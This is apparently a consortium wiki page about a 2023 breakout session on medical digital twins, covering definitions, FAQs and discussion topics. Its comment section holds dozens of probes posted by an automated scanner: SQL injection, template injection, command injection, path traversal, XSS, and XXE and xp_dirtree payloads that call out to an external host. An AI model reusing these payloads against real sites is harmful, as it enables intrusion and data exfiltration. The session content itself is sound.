Breakout 1 - Digital Twins

Back to 2023 Agenda

Back to main Breakout Session page

 

1. Digital Twins: whole person, mental health

MSM lead: Gary An; IMAG lead: Liz Ginexi

Proposed Working Definition of Medical Digital Twin

The term "medical digital twin" is currently used with multiple definitions. For purposes of this breakout session, we would like to provide a working definition tailored to Multiscale Modeling and uses the minimally sufficient criteria for a "digital twin" as described by Grieves in 2019 for industrial applications (recognizing that functionally this process had been in use for several years at NASA). These criteria are essentially:

  1. A data structure for the real-world object/system that would allow a specific real world object/system to be represented by a personalized/individualized virtual object or ensemble of object. (Twin structure)
  2. Representation of some process that links time points in the virtual object (Twin behavior)
  3. A link between the real and virtual twins that provides an ongoing data stream to update the virtual object (Twin Connectivity)

Operational Classification of Medical Digital Twins based on intended use:

  1. Monitoring/Diagnosis/Prediction/Forecasting
  2. Optimization of existing therapies
  3. Development/testing of novel therapies

Because this is a meeting of the "Multiscale Modeling Consortium" we would like to emphasize discussions regarding Medical Digital Twins that utilize/require mechanism-based multi-scale models

Some Pre-emptive Answers to Commonly Asked Questions:

  • Q1: What is the difference between a model and a Digital Twin?
  • A1: Most would say that the difference is that a Digital Twin includes a model (#1 and #2 from above) with a data stream from the real world twin that updates the virtual twin (#3 above). The update-ability of the Digital Twin is a key point. See Ref https://amses-journal.springeropen.com/articles/10.1186/s40323-020-0014….
  • Q2: What is the difference between virtual populations and populations of digital twins"
  • A2: We would suggest that the difference is the personalization capability of a digital twin. While methods for generating virtual populations can theoretically encompass the heterogeneity present across a population, there is generally no explicit goal of representing a specific individual. This does not mean that methods for creating virtual populations cannot be used to create digital twins, but rather that an application may not be explicitly specified to do so.
  • Q3: What is the difference between a personalized predictive model and a digital twin?
  • A3: While this may be a potential point of disagreement, one could point again to Criteria #3 above to make the distinction: with a Digital Twin, there must be recurrent and ongoing data feedback from the real world to update and refine the future behavior of the virtual twin. For example, personalized predictive models, such as ones that utilize genomic profiles of tumors to suggest therapies specific for those tumors, while incredibly useful, only become digital twins if the tumor/patient's response can be fed back into the virtual object such that future behavior of the real world twin can be projected/forecast. We would hope that rather than being a point of contention, this distinction would be a starting point for discussion about desirable future capabilities that can turn personalized predictive models into digital twins.
  • Q4: What is the difference between virtual tissues and a medical digital twin?
  • A4: Just as an individual is made up of multiple tissues, so too should our aspirational medical digital twin be made up of multiple computational representations of its tissues. While the eventual goal would be an integrated virtual representation of a complete person, we recognize that in the path towards this aspirational goal it will be necessary to identify intermediate points where the utility of the digital twin concept (specifically the ability to utilize ongoing data links between the real and digital world) can be demonstrated, and that these intermediate points will involve the representation of specific disease processes that employ a subset of integrated virtual tissues. As with our pre-emptive answer to Q3/A3 above, rather than becoming a point of semantic contention, we hope that the perspective that digital twins represent integration of multiple virtual tissues will provide a starting point for discussions related to the modularity and composability challenges present as open research questions.

 

Agenda/Discussion Topics for this Breakout Session

  • How would the MSM Consortium play a role?
  • More specifically, where can the MSM Consortium fill gaps in existing large-scale initiatives regarding the development of medical digital twins (such as the European projects: the European Virtual Twin/EDITH project https://www.edith-csa.eu/ and the Neurotwin project https://www.neurotwin.eu/)?
  • How to integrate mechanism-based multi-scale modeling with machine learning/artificial intelligence to develop medical digital twins?
  • How to foster collaborations that integrate underlying digital twin model development (Criteria #2) with developers of sensor/assay technologies needed to fulfill Criteria #3?
  • Propose strategies for being able to capture inter-individual heterogeneity in a way that allows personalization of digital twins.
  • Propose strategies for dealing with uncertainty and parameterization when integrating models/modules that cross multiple scales.
  • Identify strategies to find useful "intermediate points" for medical digital twin applications while still moving towards a larger vision of an integrated, whole-body medical digital twin.

 

Resources:

Digital Twins resources

 

       

      Comment

      Comment

      3

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:07

      Comment

      "+response.write(268409241-68611)+"

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:07

      Comment

      <%- 268409241-35184 %>

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:07

      Comment

      1) WAITFOR DELAY '0:0:25'-- /* 761e96bc-d3bd-41e4-a1a3-e5086592d339 */

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:07

      Comment

      -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:07

      Comment

      h_cszcnetxbt18tunoif4pii4tlqndm_ph-efsuoo54.r87.me

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:07

      Comment

      127.100.11.2/trace.axd

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:07

      Comment

      -1'||'N'=='3

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:07

      Comment

      SET /A 0xFFF9999-10154 &

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:07

      Comment

      &ping -w 25 127.0.0.1 &

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:07

      Comment

      -1 OR 17-7=10

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDMxNEU4KTwvc2NyaXB0Pg==

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      <% response.write(268409241-46532) %>

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      <#assign x=268409241 - 12760>
      ${x?string["0"]}

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      1) WAITFOR DELAY '0:0:25'-- /* 0ab016d9-389b-45c9-8268-edd109b831d6 */

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      -1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      '||'7892'=='7893

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      h_cszcnetx6dxq0tlloqk_xkyroqkn7vl0wwvr9bx-8.r87.me

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      127.0.0.1/trace.axd

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      -1 OR NS='ss

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      3

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      SET /A 0xFFF9999-27361 &

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      ping -w 25 127.0.0.1 &

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      file%3a%2f%2f%2fboot.ini

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      '" ns=netsparker(0x031671)

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      3

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      <% response.write(268409241-33597) %>

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      '||'7891'=='7891

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      <#assign x=268409241 - 51090>
      ${x?string["0"]}

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      ') WAITFOR DELAY '0:0:25'-- /* db3a52a1-bdd1-4b4e-97f3-f5b3deb08e7d */

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      -1' OR 1=1 OR '1'='1

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      3

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      //h_cszcnetxpd1zrih4wvnoufn9zoqoa4btgl0kjx7hm.r87.me

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      [::1]/trace.axd

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:08

      Comment

      exec('xp_dirtree ''\\h_cszcnetxjfz-q4b71_c0qk-wr8jvoick4wnfqi'+'wmk.r87.me'+'\c$\a''')

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      SET /A 0xFFF9999-91491

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      ping -n 25 127.0.0.1

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      c%3a%5cboot.ini

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      1 ns=netsparker(0x031679)

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      3

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      '||7890=='7890

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      <?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://h_cszcne"><!ENTITY % d "txeftg9fuqeprhqterrtlwmngrqfgwf2rak.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"&gt; %dtd;]><r>&a;</r>

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      print(int)0xFFF9999-32250

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      -1' OR 1=1 OR '1'='1

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      <%= "#{268409241-74137}" %>

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      ') WAITFOR DELAY '0:0:25'-- /* 0326f2c7-f0e3-4224-a4cc-f522d8f1df80 */

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      exec('xp_dirtree ''\\h_cszcnetx2eefinwq3dk3mzndeggzsywjen5zlj'+'ksw.r87.me'+'\c$\a''')

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09

      Comment

      cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

      Submitted by IRTAPPSCAN on Tue, 05/20/2025 - 23:09